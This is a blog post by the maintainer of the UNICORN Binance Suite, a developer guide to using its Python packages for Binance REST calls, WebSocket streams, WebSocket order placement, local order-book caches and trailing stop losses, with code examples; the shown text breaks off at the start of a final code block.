If you Google "python binance" in 2026, the first hits are python-binance, binance-connector-python, and CCXT. Useful tools, all of them. But once a Binanc]]></description><link>https://blog.technopathy.club/the-complete-binance-python-api-guide-2026</link><guid isPermaLink="true">https://blog.technopathy.club/the-complete-binance-python-api-guide-2026</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[websockets]]></category><category><![CDATA[trading bot]]></category><category><![CDATA[trading bot development]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[depth-cache]]></category><category><![CDATA[order book]]></category><category><![CDATA[algorithmic trading]]></category><category><![CDATA[crypto]]></category><category><![CDATA[api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 12 May 2026 16:39:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c6bb8757-7fef-4fc7-8ca9-2c4a0f6fb1f3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>The Complete Binance Python API Guide (2026)</h1>
<p>If you Google <strong>"python binance"</strong> in 2026, the first hits are <code>python-binance</code>, <code>binance-connector-python</code>, and <code>CCXT</code>. Useful tools, all of them. But once a Binance bot moves from <em>script</em> to <em>service</em>, the interesting question changes: not only <em>can this library call the endpoint?</em>, but <em>does it give me the operational model to keep REST, WebSocket streams, WebSocket API trading requests, order state, reconnects, depth caches, and failure handling under control?</em></p>
<p>One library with a more operational focus still barely shows up in search results: the <strong>UNICORN Binance Suite</strong> (UBS). 2.8M+ downloads. 388+ public dependent projects. Several interlocking packages, all MIT, all maintained by one developer with a public name, public GitHub repos, and a Telegram you can actually message.</p>
<p>This guide is the cornerstone reference: what each tool does, why it matters, when to use which, and how the pieces fit together. With <strong>verified, live code</strong> — every output you see in this article was captured from a real call to <code>api.binance.com</code> while writing it.</p>
<blockquote>
<p>If you're already sold and just want to read code, skip to <a href="#your-first-binance-rest-call-in-python">Your First Binance REST Call in Python</a>.</p>
</blockquote>
<hr />
<h2>The Python-on-Binance Landscape in 2026</h2>
<table>
<thead>
<tr>
<th>Library</th>
<th>Honest strength</th>
<th>Trade-off</th>
<th>Best fit</th>
</tr>
</thead>
<tbody><tr>
<td><strong>python-binance</strong></td>
<td>Widely known Python package with broad REST coverage, WebSocket managers, many examples, tutorials, and existing bots</td>
<td>Familiar does not automatically mean operationally simpler: stream lifecycle, trust state, and order-book correctness are less explicit than in UBS, so production behavior often has to be handled in application code</td>
<td>Existing projects, users already invested in that ecosystem, quick experiments where operational state is not the main concern</td>
</tr>
<tr>
<td><strong>binance-connector-python / official SDKs</strong></td>
<td>Official Binance direction, close to the published API surface, strong REST endpoint coverage, lightweight clients, modern authentication support</td>
<td>Intentionally low-level: good building blocks, but reconnect policy, queues, depth-cache trust, strategy state, and operational glue are mostly your responsibility</td>
<td>Teams that want the official API surface and prefer to build their own runtime around it</td>
</tr>
<tr>
<td><strong>CCXT</strong></td>
<td>Excellent multi-exchange abstraction across multiple languages and many exchanges; great when one codebase must talk to more than Binance</td>
<td>The abstraction is the value, but it naturally trades away some Binance-specific controls, lifecycle detail, and exchange-specific ergonomics</td>
<td>Multi-exchange systems, portfolio tooling, arbitrage research, backtesting, and teams that do not want to be Binance-only</td>
</tr>
<tr>
<td><strong>UNICORN Binance Suite</strong></td>
<td>Binance-native operational stack: simple REST calls, WebSocket streams, stream lifecycle signals, WebSocket API requests, reconnects, sequence validation, out-of-sync handling, multi-account routing, asyncio queues, and cluster-scale DepthCache infrastructure</td>
<td>Binance-only by design; explicit manager model instead of loose helper functions; strongest when REST, WebSockets, order books, and failure states need to work together</td>
<td>Beginners who want sane defaults, Binance-specific bots, 24/7 services, local order books, and systems where failure states must be visible</td>
</tr>
</tbody></table>
<p><strong>This guide is about the fourth row.</strong> Not because the others are bad. They are strong in different ways: <code>python-binance</code> is widely known and has many examples, the official Binance SDKs closely track Binance's published API surface, and <code>CCXT</code> is excellent when exchange abstraction matters more than Binance-specific depth. UBS is built for a narrower problem: Binance-specific systems where WebSocket lifecycle, order-book correctness, reconnect behavior, request routing, and failure states should be explicit instead of hidden in application glue.</p>
<blockquote>
<p>A friendly maintainer's note: I am the author of UBS. I'll cite community sources where I can, show you working code, and let you decide. If you spot anything that looks unfair, the comments and <a href="https://t.me/unicorndevs">Telegram</a> are open.</p>
</blockquote>
<hr />
<h2>What UBS Actually Is</h2>
<p>UBS is <strong>not a single library</strong> — it's a coordinated suite of six packages plus an optional Kubernetes-scale service. Each piece is its own PyPI package, its own GitHub repo, its own release cadence — but the interfaces line up so they compose without glue code.</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Role</th>
</tr>
</thead>
<tbody><tr>
<td><strong>unicorn-binance-rest-api</strong> (UBRA)</td>
<td>REST client for public and private Binance endpoints</td>
</tr>
<tr>
<td><strong>unicorn-binance-websocket-api</strong> (UBWA)</td>
<td>WebSocket streams, WebSocket API requests, user-data streams, reconnects, lifecycle signals</td>
</tr>
<tr>
<td><strong>unicorn-binance-local-depth-cache</strong> (UBLDC)</td>
<td>Local synchronized order books with sequence validation, pruning, resync, and <code>DepthCacheOutOfSync</code></td>
</tr>
<tr>
<td><strong>unicorn-binance-trailing-stop-loss</strong> (UBTSL)</td>
<td>Trailing stop engine and CLI</td>
</tr>
<tr>
<td><strong>unicorn-fy</strong></td>
<td>Raw Binance payloads → normalized Python dictionaries</td>
</tr>
<tr>
<td><strong>ubdcc</strong> (UBDCC)</td>
<td>Shared DepthCache service for local or Kubernetes-scale infrastructure</td>
</tr>
<tr>
<td><strong>unicorn-binance-suite</strong> (meta)</td>
<td>Installs the suite components together</td>
</tr>
</tbody></table>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fa74b3be-2493-4ad8-872c-a863f926b68e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Install in One Line</h2>
<pre><code class="language-bash">pip install unicorn-binance-suite
</code></pre>
<p>That gives you the core UNICORN Binance Suite packages — UBRA, UBWA, UBLDC, UBTSL, and UnicornFy — in one install. UBDCC is different: it is the cluster service built on top of UBLDC, not a client library inside the suite. Want a single piece? Install just that one:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api
pip install unicorn-binance-rest-api
pip install unicorn-binance-local-depth-cache
pip install unicorn-binance-trailing-stop-loss
pip install unicorn-fy
pip install ubdcc
</code></pre>
<p>A note on a myth that still floats around: <em>"UBS is hard to install because it needs C build tools."</em> Not since multi-arch wheels (x86_64, aarch64, arm64) were added. Where UBS uses native/Cython components, <code>pip install</code> resolves to a pre-built binary on common platforms. Cython where it pays off, plain Python where it doesn't.</p>
<p>You <strong>do not need API keys</strong> for anything in the <em>Market Data</em> sections below (REST tickers, WebSocket public streams, depth caches). For account operations and trailing stops, see <a href="https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret">How to create a Binance API Key and API Secret</a>.</p>
<hr />
<h2>Your First Binance REST Call in Python</h2>
<p>The most common starting question: <strong>"How do I get the current price of BTC in Python?"</strong> With UBRA:</p>
<pre><code class="language-python">from unicorn_binance_rest_api import BinanceRestApiManager

ubra = BinanceRestApiManager(exchange="binance.com")

ticker = ubra.get_symbol_ticker(symbol="BTCUSDC")
print(ticker)

ubra.stop_manager()
</code></pre>
<p><strong>Live output</strong> (captured from <code>api.binance.com</code> while writing this):</p>
<pre><code class="language-python">{'symbol': 'BTCUSDC', 'price': '81250.60000000'}
</code></pre>
<p>24h statistics in one call:</p>
<pre><code class="language-python">stats = ubra.get_ticker(symbol="BTCUSDC")
for k in ("lastPrice", "priceChangePercent", "highPrice", "lowPrice", "volume", "quoteVolume"):
    print(f"  {k}: {stats[k]}")
</code></pre>
<pre><code class="language-plaintext">  lastPrice: 81250.60000000
  priceChangePercent: 0.394
  highPrice: 82137.26000000
  lowPrice: 80462.97000000
  volume: 11772.94006000
  quoteVolume: 957215665.33209680
</code></pre>
<p>Historical candles for backtesting or charts:</p>
<pre><code class="language-python">klines = ubra.get_klines(symbol="BTCUSDC", interval="1h", limit=3)
for k in klines:
    print(f"  open={k[1]}  high={k[2]}  low={k[3]}  close={k[4]}  volume={k[5]}")
</code></pre>
<pre><code class="language-plaintext">  open=81249.93000000  high=81294.42000000  low=81024.41000000  close=81058.80000000  volume=187.87319000
  open=81058.79000000  high=81303.99000000  low=81000.00000000  close=81240.01000000  volume=398.28206000
  open=81240.01000000  high=81283.80000000  low=81203.81000000  close=81250.60000000  volume=157.79464000
</code></pre>
<p><strong>Authentication for account/trading endpoints</strong> is one extra constructor argument:</p>
<pre><code class="language-python">ubra = BinanceRestApiManager(
    api_key="YOUR_API_KEY",
    api_secret="YOUR_API_SECRET",
    exchange="binance.com",
)
balance = ubra.get_account()  # private endpoint, requires signed request
</code></pre>
<p>UBRA supports <strong>com, com-margin, com-isolated-margin, com-futures, us, and tr</strong>, plus all matching testnets — switch with the <code>exchange</code> argument. A signed-order example for an OCO take-profit/stop-loss pattern lives in <a href="https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin">Buy an Asset and Instantly Create a Take-Profit + Stop-Loss OCO Sell Order</a>.</p>
<hr />
<h2>Your First WebSocket Stream in Python</h2>
<p>REST polling is fine for one-off queries. For real-time price feeds you want WebSockets. UBWA's model is simple: <strong>one Manager, many streams</strong>. The receiving side can be as small as a few lines, or as explicit as a dedicated asyncio queue per stream.</p>
<p>The examples below intentionally follow the UBWA README style. Start simple, then choose the processing model that fits your bot.</p>
<h3>Option 1 — Pull from the stream buffer</h3>
<p>The shortest possible pattern. No callbacks, no asyncio in your code. UBWA receives frames in the background; you pull the oldest item from the stream buffer when you are ready.</p>
<pre><code class="language-python">from unicorn_binance_websocket_api import BinanceWebSocketApiManager

ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
)

while True:
    oldest_data_from_stream_buffer = ubwa.pop_stream_data_from_stream_buffer()
    if oldest_data_from_stream_buffer:
        print(oldest_data_from_stream_buffer)
</code></pre>
<p>That is the easiest way to understand the flow: Binance pushes data asynchronously, UBWA stores it, and your code consumes it.</p>
<p>For normalized Python dictionaries instead of raw Binance payloads, request UnicornFy output on the stream:</p>
<pre><code class="language-python">ubwa.create_stream(
    channels=["trade"],
    markets=["btcusdc"],
    output="UnicornFy",
)
</code></pre>
<p>When to use it: scripts, demos, notebooks, quick collectors. For long-running services, avoid a tight empty polling loop. Use a callback or an asyncio queue.</p>
<h3>Option 2 — Callback per received frame</h3>
<p>You hand UBWA a normal function. Every received frame is passed to it.</p>
<pre><code class="language-python">from unicorn_binance_websocket_api import BinanceWebSocketApiManager


def process_new_receives(stream_data):
    print(str(stream_data))


ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
    process_stream_data=process_new_receives,
)
</code></pre>
<p>There is also an async callback variant:</p>
<pre><code class="language-python">import asyncio
from unicorn_binance_websocket_api import BinanceWebSocketApiManager


async def process_new_receives(stream_data):
    print(stream_data)
    await asyncio.sleep(1)


ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
    process_stream_data_async=process_new_receives,
)
</code></pre>
<p>When to use it: clean event-style processing where each message can be handled independently.</p>
<h3>Option 3 — Await the stream data in an asyncio coroutine</h3>
<p>This is the README-recommended pattern for processing stream data when you want explicit async handling. UBWA creates the stream and feeds an asyncio queue; your coroutine awaits data from that queue.</p>
<pre><code class="language-python">import asyncio
from unicorn_binance_websocket_api import BinanceWebSocketApiManager


async def process_asyncio_queue(stream_id=None):
    print(f"Start processing data from stream '{ubwa.get_stream_label(stream_id)}':")
    while ubwa.is_stop_request(stream_id=stream_id) is False:
        data = await ubwa.get_stream_data_from_asyncio_queue(stream_id=stream_id)
        print(data)
        ubwa.asyncio_queue_task_done(stream_id=stream_id)


async def main():
    ubwa.create_stream(
        channels=["trade"],
        markets=["ethbtc", "btcusdc"],
        stream_label="TRADES",
        process_asyncio_queue=process_asyncio_queue,
    )
    while not ubwa.is_manager_stopping():
        await asyncio.sleep(1)


with BinanceWebSocketApiManager(exchange="binance.com") as ubwa:
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Gracefully stopping ...")
</code></pre>
<p>What this gives you:</p>
<ul>
<li><p>one explicit coroutine for the stream,</p>
</li>
<li><p>a real <code>await</code> on incoming data,</p>
</li>
<li><p>clean backpressure via <code>asyncio_queue_task_done()</code>,</p>
</li>
<li><p>a manager lifecycle that exits cleanly when used with <code>with</code>.</p>
</li>
</ul>
<h3>Subscribe and unsubscribe without rebuilding the stream</h3>
<p>UBWA can add or remove markets and channels at runtime:</p>
<pre><code class="language-python">markets = ["engbtc", "zileth"]
channels = ["kline_5m", "kline_15m", "depth5"]

ubwa.subscribe_to_stream(stream_id=stream_id, channels=channels, markets=markets)
ubwa.unsubscribe_from_stream(stream_id=stream_id, markets=markets)
ubwa.unsubscribe_from_stream(stream_id=stream_id, channels=channels)
</code></pre>
<p>That matters in real bots. You do not want to tear down and recreate a socket every time your market universe changes.</p>
<h3>What's true for all receiving patterns</h3>
<p>Regardless of which option you pick:</p>
<ol>
<li><p><strong>WebSocket receiving is asynchronous by nature.</strong> You subscribe once; Binance pushes frames when they exist. Your job is to route and process them correctly.</p>
</li>
<li><p><strong>UBWA owns the socket lifecycle.</strong> Reconnects, listenKey renewal for user-data streams, ping/pong, and stream health happen below your strategy code.</p>
</li>
<li><p><strong>UnicornFy is optional but useful.</strong> Use <code>output="UnicornFy"</code> when you want readable dict keys instead of raw Binance event fields.</p>
</li>
<li><p><strong>Receiving data is not the same as knowing the stream is healthy.</strong> That is what <code>stream_signals</code> are for.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/160c42a2-83c7-44db-a8c2-773c5f0ae58d.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Stream Signals: Know When Your Bot Is Blind</h2>
<p>Receiving data is only half of a WebSocket client. The other half is knowing whether the stream itself is currently trustworthy.</p>
<p>A WebSocket is asynchronous by nature. Data arrives when Binance pushes it. Silence can mean "no trade happened", but it can also mean "your connection is gone", "the stream is reconnecting", "the first data frame has not arrived yet", or "this stream cannot be restored". For a trading bot, those states are not cosmetic. They decide whether indicators are still valid, whether a strategy should pause, whether missing data must be reloaded via REST, or whether open positions should be handled defensively.</p>
<p>UBWA exposes this through <code>stream_signals</code>. They tell your code about lifecycle changes in real time:</p>
<table>
<thead>
<tr>
<th>Signal</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td><code>CONNECT</code></td>
<td>The stream connection was established.</td>
</tr>
<tr>
<td><code>FIRST_RECEIVED_DATA</code></td>
<td>The first data record arrived. This is the point where the stream is no longer just connected, but actually feeding data.</td>
</tr>
<tr>
<td><code>DISCONNECT</code></td>
<td>The stream disconnected. UBWA includes the last received data record if available, so your code has a recovery anchor.</td>
</tr>
<tr>
<td><code>STOP</code></td>
<td>The stream was stopped.</td>
</tr>
<tr>
<td><code>STREAM_UNREPAIRABLE</code></td>
<td>UBWA cannot restore the stream, for example because of invalid credentials or an exception in your own processing coroutine.</td>
</tr>
</tbody></table>
<p>That last distinction matters: <strong>connected is not the same as usable</strong>. A bot that subscribes to <code>btcusdc@depth</code> and immediately starts trading before the first data frame arrived is guessing. A bot that keeps calculating indicators after a disconnect is blind. <code>stream_signals</code> make those states explicit.</p>
<p>The callback version is usually the cleanest production pattern:</p>
<pre><code class="language-python">from unicorn_binance_websocket_api import BinanceWebSocketApiManager
import time


def process_stream_signals(signal_type=None, stream_id=None, data_record=None, error_msg=None):
    print(
        f"Received stream_signal for stream '{ubwa.get_stream_label(stream_id=stream_id)}': "
        f"{signal_type} - {stream_id} - {data_record} - {error_msg}"
    )


with BinanceWebSocketApiManager(process_stream_signals=process_stream_signals) as ubwa:
    ubwa.create_stream(channels="trade", markets="btcusdc", stream_label="TRADES")
    time.sleep(7)
</code></pre>
<p>For simpler scripts you can also enable the signal buffer and poll it, similar to normal stream data:</p>
<pre><code class="language-python">ubwa = BinanceWebSocketApiManager(
    exchange="binance.com",
    enable_stream_signal_buffer=True,
)

ubwa.create_stream(channels="trade", markets="btcusdc", stream_label="BTCUSDC_TRADES")

while True:
    signal = ubwa.pop_stream_signal_from_stream_signal_buffer()
    if signal:
        print(signal)
</code></pre>
<p>This is a small feature with huge operational impact. It turns WebSocket reliability from log-reading into code-level state. Your own application can know:</p>
<ul>
<li><p>"I am connected, but not live yet."</p>
</li>
<li><p>"I received the first usable market-data frame."</p>
</li>
<li><p>"I just lost the stream and must stop trusting derived indicators."</p>
</li>
<li><p>"This stream is unrecoverable and needs human or strategy-level intervention."</p>
</li>
</ul>
<p>This is also why UBWA fits so well underneath UBLDC and UBDCC. A depth cache does not only need bids and asks. It needs lifecycle truth. <code>CONNECT</code>, <code>FIRST_RECEIVED_DATA</code>, <code>DISCONNECT</code>, and <code>STREAM_UNREPAIRABLE</code> are the vocabulary that lets the next layer decide whether data is authoritative, stale, recovering, or unusable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4c062903-1c98-4402-bc31-c4117ea53c8d.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Trading Over WebSocket: Create and Cancel Orders Without REST</h2>
<p>There is one Binance feature many Python guides still treat as an afterthought: the <strong>Binance WebSocket API</strong>.</p>
<p>This is not the same thing as a market-data WebSocket stream.</p>
<p>A market-data stream pushes events to you: trades, klines, depth updates, user-data events. The <strong>WebSocket API</strong> is a request/response API over a persistent WebSocket connection: place an order, cancel an order, query account state, and receive a correlated response later — without opening a new HTTP request for every action.</p>
<p>That last word matters: <strong>later</strong>.</p>
<p>WebSocket is asynchronous by nature. You send a request into an already-open connection and move on. At some later point Binance pushes a response frame back. Your code should not pretend that this is just REST with a different transport. The clean design is not "call function, block forever, hope the socket behaves." The clean design is:</p>
<ol>
<li><p>send a request with an ID,</p>
</li>
<li><p>receive frames asynchronously,</p>
</li>
<li><p>route the matching response to the right handler,</p>
</li>
<li><p>keep the connection lifecycle independent from the strategy logic.</p>
</li>
</ol>
<p>For slow scripts, REST is fine. For systems that already live on WebSockets, jumping back to REST for trading actions creates an awkward split:</p>
<ul>
<li><p>market data arrives over WebSocket,</p>
</li>
<li><p>the strategy reacts in memory,</p>
</li>
<li><p>order placement jumps back to REST,</p>
</li>
<li><p>response handling follows a different path,</p>
</li>
<li><p>request IDs, retries, state reconciliation, and failure handling become your problem.</p>
</li>
</ul>
<p>UBWA supports Binance WebSocket API requests directly through the same manager model used for streams.</p>
<pre><code class="language-python">from unicorn_binance_websocket_api import BinanceWebSocketApiManager

ubwa = BinanceWebSocketApiManager(
    exchange="binance.com",
    api_key="YOUR_API_KEY",
    api_secret="YOUR_API_SECRET",
    output_default="dict",
)

api_stream_id = ubwa.create_stream(api=True)

ubwa.api.spot.create_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    side="BUY",
    order_type="LIMIT",
    time_in_force="GTC",
    quantity="0.001",
    price="50000",
)

# The response is pushed back by Binance and handled asynchronously.
</code></pre>
<p>That is the natural WebSocket way: send the request, keep the socket alive, process the response when it arrives.</p>
<p>For scripts, demos, tests, or migration from REST-style code, UBWA can also wait for the matching response and return it directly:</p>
<pre><code class="language-python">response = ubwa.api.spot.create_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    side="BUY",
    order_type="LIMIT",
    time_in_force="GTC",
    quantity="0.001",
    price="50000",
    return_response=True,
)

print(response)
</code></pre>
<p>Canceling an order follows the same model:</p>
<pre><code class="language-python">ubwa.api.spot.cancel_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    order_id=123456789,
)
</code></pre>
<p>The important part is not only that order placement and cancellation work over WebSocket. The important part is <strong>how responses can be processed</strong>.</p>
<p>UBWA lets you handle WebSocket API responses in several ways:</p>
<ul>
<li><p>global callback,</p>
</li>
<li><p>stream-specific callback,</p>
</li>
<li><p>request-specific callback,</p>
</li>
<li><p>async handler,</p>
</li>
<li><p>blocking <code>return_response=True</code>,</p>
</li>
<li><p>or the normal stream buffer.</p>
</li>
</ul>
<p>That makes the same feature usable in a notebook, a CLI tool, a long-running bot, or a service with dedicated request routing.</p>
<p>A small but useful detail: <code>stream_id=api_stream_id</code> is only required when more than one WebSocket API stream is active. If there is exactly one WebSocket API stream, UBWA can use that stream automatically. In simple examples I still pass the <code>stream_id</code> explicitly because it makes the routing visible.</p>
<p>The real advantage shows up in multi-account or multi-key setups: you can run several WebSocket API streams with different <code>api_key</code> / <code>api_secret</code> pairs and then explicitly route a request to the stream that belongs to the right account.</p>
<p>To stay fair: this is no longer a UBS-only checkbox. <code>python-binance</code> documents <a href="https://python-binance.readthedocs.io/en/latest/websockets.html">API requests via WebSockets</a>, Binance's official <code>binance-sdk-spot</code> describes itself as supporting REST API, WebSocket API, and WebSocket Streams, and CCXT/CCXT Pro has exchange-dependent WebSocket support. The difference is the operational model: in UBWA, WebSocket streams, WebSocket API requests, reconnect handling, callbacks, stream buffers, async queues, and request routing all live inside one Binance-native manager.</p>
<p>A full walkthrough lives here: <a href="https://blog.technopathy.club/create-and-cancel-orders-via-websocket-on-binance">Create and Cancel Orders via WebSocket on Binance</a>.</p>
<p>This is where UBS becomes more than "REST client plus WebSocket client". REST, market streams, user-data streams, WebSocket API trading requests, response routing, and reconnect handling fit into one mental model.</p>
<hr />
<h2>A Local Order Book Without the Pain (UBLDC)</h2>
<p>If your strategy reads the order book more than a few times per second, REST polling is a dead end: every call is a round trip across the internet, you will hit rate limits, and the data is stale by the time you parse it. The right answer is a <strong>local depth cache</strong> — Binance pushes diffs over WebSocket, you keep a synchronized copy in memory.</p>
<p>The naive way to do this is on the third page of Binance's docs. The right way is what UBLDC does: create the cache, read asks and bids, and let the manager handle synchronization, pruning, and resync logic.</p>
<pre><code class="language-python">import time
from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheOutOfSync

ubldc = BinanceLocalDepthCacheManager(exchange="binance.com", depth_cache_update_interval=100)
ubldc.create_depthcache("BTCUSDC")

# Wait for the initial REST snapshot + WebSocket diff synchronization.
while ubldc.is_depth_cache_synchronized("BTCUSDC") is False:
    time.sleep(0.1)

try:
    asks = ubldc.get_asks(market="BTCUSDC", limit_count=5)
    bids = ubldc.get_bids(market="BTCUSDC", limit_count=5)

    print("Top 5 asks:")
    for price, qty in asks:
        print(f"  {price}  qty={qty}")

    print("Top 5 bids:")
    for price, qty in bids:
        print(f"  {price}  qty={qty}")

except DepthCacheOutOfSync:
    print("BTCUSDC depth cache is currently out of sync — skip this decision cycle.")

ubldc.stop_manager()
</code></pre>
<p>That exception is the important contract.</p>
<p>A local order book can temporarily be unusable: initial snapshot still loading, sequence gap detected, reconnect in progress, resync running. UBLDC does <strong>not</strong> silently pretend that stale memory is still authoritative. If you access the book while it is out of sync, it can raise <code>DepthCacheOutOfSync</code>. Your strategy can then pause, skip this tick, reduce risk, or wait for the cache to recover.</p>
<h3>Reading the book the way strategies actually need it</h3>
<p>Most strategies don't want "the full book." They want <strong>the first N levels</strong> or <strong>enough depth to fill X quote-units of volume</strong>. UBLDC's <code>get_asks</code> / <code>get_bids</code> accept both forms:</p>
<pre><code class="language-python"># First 10 levels on each side
asks = ubldc.get_asks("BTCUSDC", limit_count=10)
bids = ubldc.get_bids("BTCUSDC", limit_count=10)

# All levels until cumulative volume crosses 300 000, e.g. USDT for a USDT pair
asks = ubldc.get_asks("BTCUSDC", threshold_volume=300000)
bids = ubldc.get_bids("BTCUSDC", threshold_volume=300000)
</code></pre>
<p><code>limit_count=N</code> trims the result to the top N levels by price. <code>threshold_volume=X</code> walks the book outward until the cumulative quote volume crosses X and stops there — exactly what you need to estimate "how far would I move the price if I market-bought X USDT of BTC right now?" without slicing the full book yourself.</p>
<h3><code>DepthCacheOutOfSync</code> is the production boundary</h3>
<p>You do <strong>not</strong> have to call <code>is_depth_cache_synchronized()</code> before every read. That is useful for dashboards, readiness checks, or explicit control flow. The stronger production pattern is to treat reads as authoritative only if they succeed, and to handle <code>DepthCacheOutOfSync</code> where your strategy consumes the book:</p>
<pre><code class="language-python">from unicorn_binance_local_depth_cache import DepthCacheOutOfSync

try:
    asks = ubldc.get_asks("BTCUSDC", limit_count=10)
    bids = ubldc.get_bids("BTCUSDC", limit_count=10)
except DepthCacheOutOfSync:
    logger.warning("BTCUSDC depth cache out of sync — skipping decision cycle")
    return

# If execution reaches this point, the strategy has a usable book snapshot.
run_strategy(asks=asks, bids=bids)
</code></pre>
<p>That distinction matters. A boolean pre-check can be stale by the time you act on it. The exception is raised at the access boundary, exactly where trust is needed.</p>
<p><code>is_depth_cache_synchronized("BTCUSDC")</code> still has a place:</p>
<pre><code class="language-python">if not ubldc.is_depth_cache_synchronized("BTCUSDC"):
    logger.info("BTCUSDC still initializing or resyncing")
</code></pre>
<p>Use it for observability and readiness. Use <code>DepthCacheOutOfSync</code> for correctness.</p>
<h3>Sidebar — Binance's docs are incomplete about depth caches</h3>
<p>This is the part most libraries get subtly wrong, and most users never notice until their P&amp;L starts drifting.</p>
<p>Binance's published depth-cache algorithm is <strong>incomplete</strong> in one specific way: when a price level falls out of the top-1000, Binance stops sending updates for it — but <strong>never sends a "delete" event</strong> for it either. A library that follows the documentation blindly will accumulate orphaned levels forever. Your "order book" turns into a museum of orders that no longer exist. Strategies that key off the depth profile slowly start trading against ghosts.</p>
<p>UBLDC actively prunes out-of-scope levels. I ran a 25-hour side-by-side experiment to quantify the rot: a naive cache built strictly to spec versus the UBLDC-style pruned cache, fed by the same WebSocket stream. After 9 hours the naive cache was at <strong>~34% bid-match / ~45% ask-match</strong> against a fresh REST snapshot, with 22 000 stale levels still in memory. The pruned cache held a steady ~1050 levels at 90–97% match for the full run.</p>
<p>Full write-up with charts and raw data: <a href="https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours"><strong>Your Binance DepthCache Is Rotting — Here's the Proof in 25 Hours</strong></a>. If you build your own depth cache or use a library that doesn't handle this, please at least read the comparison chart.</p>
<p>UBLDC additionally:</p>
<ul>
<li><p>validates <code>U</code> / <code>u</code> sequence numbers on every update and resynchronizes on gap detection,</p>
</li>
<li><p>raises <code>DepthCacheOutOfSync</code> instead of silently serving stale data while a cache is unusable,</p>
</li>
<li><p>buffers WebSocket events during the initial REST snapshot load,</p>
</li>
<li><p>removes orphaned out-of-scope levels beyond the top-1000 corridor,</p>
</li>
<li><p>runs many caches in one Manager.</p>
</li>
</ul>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/comparison.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5fb40777-678e-49ba-abb6-f67b7de458ba.png" alt="" style="display:block;margin:0 auto" /></a></p>
<hr />
<h2>Trailing Stop Loss from the CLI or Python (UBTSL)</h2>
<p>Risk management is the second-most-asked Binance-Python topic after "how do I get the price?"</p>
<p>A trailing stop looks simple from the outside: follow the market while it moves in your favor, keep moving the stop behind it, and exit when the market reverses far enough. In practice, the annoying parts are all operational:</p>
<ul>
<li><p>where to store API keys,</p>
</li>
<li><p>how to test connectivity before risking a live order,</p>
</li>
<li><p>how to run the trailing engine from a terminal,</p>
</li>
<li><p>how to reuse predefined profiles,</p>
</li>
<li><p>and how to integrate the same logic into Python code when the CLI is not enough.</p>
</li>
</ul>
<p>That is what <strong>UNICORN Binance Trailing Stop Loss</strong> (UBTSL) is for.</p>
<h3>CLI workflow</h3>
<p>The CLI is the fastest way to use UBTSL directly from a terminal.</p>
<pre><code class="language-sh"># add Binance API key and secret
ubtsl --createconfigini
ubtsl --openconfigini

# test connectivity
ubtsl --test binance-connectivity

# start trailing
ubtsl -m BTCUSDC -n trail --stoplosslimit 1% -e binance.com

# use a profile
ubtsl --createprofilesini
ubtsl --openprofilesini
ubtsl --profile BTCUSDC_SELL --stoplosslimit 1.5%

# cancel all open orders on the configured account/exchange
ubtsl --profile BTCUSDC_SELL --cancelopenorders

# help
ubtsl -h
</code></pre>
<p>The normal flow is:</p>
<ol>
<li><p>create the config file,</p>
</li>
<li><p>add your Binance API key and secret,</p>
</li>
<li><p>test connectivity,</p>
</li>
<li><p>start a trailing stop directly or through a named profile.</p>
</li>
</ol>
<p>Profiles are useful once you repeatedly trade the same market or strategy pattern. Instead of passing every detail on the command line each time, you define the profile once and then override only the values you want to change, such as <code>--stoplosslimit</code>.</p>
<p>The example above starts a trailing stop on <code>BTCUSDC</code> with a 1% stop-loss limit on <code>binance.com</code>. The profile example starts the predefined <code>BTCUSDC_SELL</code> setup and overrides the stop-loss limit to 1.5%.</p>
<p><code>--cancelopenorders</code> is a practical cleanup command when you intentionally want to cancel all currently open orders on the configured account/exchange before starting fresh. Use it deliberately — it does exactly what the name says.</p>
<h3>Python integration</h3>
<p>UBTSL can also be used from Python when the trailing stop should be part of a larger bot or service. The exact parameters depend on the trade direction, market, profile, and execution mode you want to use, so the official example should be treated as the reference implementation:</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss/blob/master/example_binance_trailing_stop_loss.py">example_binance_trailing_stop_loss.py</a></p>
<p>The important architectural point is this: UBTSL is not just a small formula that calculates a moving stop price. It is an engine around Binance execution state. It tracks the market, updates the stop logic, reacts to partial fills and finished orders, and gives you callbacks for operational handling.</p>
<p>A minimal SDK integration usually follows this shape:</p>
<pre><code class="language-python">import asyncio
